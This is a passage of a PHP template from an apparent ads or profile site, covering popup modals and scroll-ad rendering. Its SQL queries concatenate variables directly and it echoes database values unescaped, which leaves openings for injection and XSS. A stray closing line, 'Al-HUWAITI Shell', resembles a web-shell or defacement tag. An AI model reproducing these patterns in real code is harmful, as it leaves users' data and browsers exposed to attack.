                                                 
							            </div>
							        </div>
							    </div>	
               <?php } elseif($row_page_ads_links['base'] == "Popup-Message" && $row_page_ads_links['type'] == "Profile"){ ?>
                			<!-- Message Modal -->
							    <div class="modal fade Modal_Dialog profile_modal" id="msgModal1<?php echo $row["id"];?>" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
							        <div class="modal-dialog" style="width:auto !important;">
							            <div class="modal-content">
                                  			<button class="close_btn" type="button" data-dismiss="modal">x</button>
							            	 	 <iframe class="iframe_c" src="<?php echo MAIN_URL; ?>/user_detail?profile_id=<?=$row['id']?>&mde=popup-message" ></iframe>                                                 
							            </div>
							        </div>
							    </div>	
               <?php }else{ ?>
			   		<?php if(!empty(WEBSITE_ADVERT_INDEX_POPUP) && trim(WEBSITE_ADVERT_INDEX_POPUP)=="Active"){?>
						<!-- Message Modal -->
							    <div class="modal fade Modal_Dialog profile_modal" id="msgModal1<?php echo $row["id"];?>" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
							        <div class="modal-dialog" style="width:auto !important;">
							            <div class="modal-content">
                                  			<button class="close_btn" type="button" data-dismiss="modal">x</button>
							            	 	 <iframe class="iframe_c" src="<?php echo MAIN_URL; ?>/user_detail?profile_id=<?=$row['id']?>" ></iframe>                                                 
							            </div>
							        </div>
							    </div>
					
					
			   		<?php } ?>
			   <?php } ?>
	        </div>   
			<?php
				$class=$second_class='';
			}
        if(!empty($scroll_ads["ads_count_list"]) && !empty($_SESSION["count_scroll_ads"])){
						#$scroll_ads_count
						if(!empty($_SESSION["count_scroll_ads"]) && $_SESSION["count_scroll_ads"]%$scroll_ads["ads_count_list"]==0){
							$divident = $_SESSION["count_scroll_ads"]/$scroll_ads["ads_count_list"];
						
						if($count_scroll_all_ads >= $divident){?>	
							<div class="col-md-12 col-xs-12 text-center">
								<?php $scroll_ads_show_query="SELECT * from scroll_ads WHERE ad_device='".$device."' and rowset ='".$scroll_ads["rowset"]."' limit ".($divident-1).", 1";
								$scroll_ads_show_result=mysqli_query($connection,$scroll_ads_show_query);
								$scroll_ads_show_data=mysqli_fetch_assoc($scroll_ads_show_result);								
								?>
								<?php if($scroll_ads_show_data['banner_code']!="1"){ ?>
								<a href="<?=$scroll_ads_show_data['link']?>"><img src="<?=MAIN_URL?>/bg_images/scroll/<?=$scroll_ads_show_data['image_name']?>" alt="<?=$scroll_ads_show_data['img_alt']?>" title="<?=$scroll_ads_show_data['img_alt']?>"/></a>									 
								<?php }else{ ?>
									<?=$scroll_ads_show_data['link']?>
								<?php } ?>
							</div>	
						<?php }else{ ?>
							<?php 
								$_SESSION["count_scroll_ads"] =$scroll_ads["ads_count_list"];							 
							?>
							<div class="col-md-12 col-xs-12 text-center">
								<?php $scroll_ads_show_query="SELECT * from scroll_ads WHERE ad_device='".$device."' and rowset ='".$scroll_ads["rowset"]."' limit 0, 1";
								$scroll_ads_show_result=mysqli_query($connection,$scroll_ads_show_query);
								$scroll_ads_show_data=mysqli_fetch_assoc($scroll_ads_show_result);								
								?>
								<?php if($scroll_ads_show_data['banner_code']!="1"){ ?>
								<a href="<?=$scroll_ads_show_data['link']?>"><img src="<?=MAIN_URL?>/bg_images/scroll/<?=$scroll_ads_show_data['image_name']?>" alt="<?=$scroll_ads_show_data['img_alt']?>" title="<?=$scroll_ads_show_data['img_alt']?>"/></a>
								<?php }else{ ?>
									<?=$scroll_ads_show_data['link']?>
								<?php } ?>
							</div>
						<?php }						
						}
						$_SESSION["count_scroll_ads"]++;	
					}			
				}
        if($counter==1){
    ?>
    		<div class="col-md-12 col-xs-12 text-center no_result">
    			<img src="<?= MAIN_URL.'/images/noresult.png' ?>" />
				<p>No ads found.</p>
			</div>
<?php
		}
    }else {
?>
		<div class="col-md-12 col-xs-12 text-center no_result">
			<img src="<?= MAIN_URL.'/images/noresult.png' ?>" />
        	<p>No ads found.</p>
		</div>
<?php
    }
?>

Al-HUWAITI Shell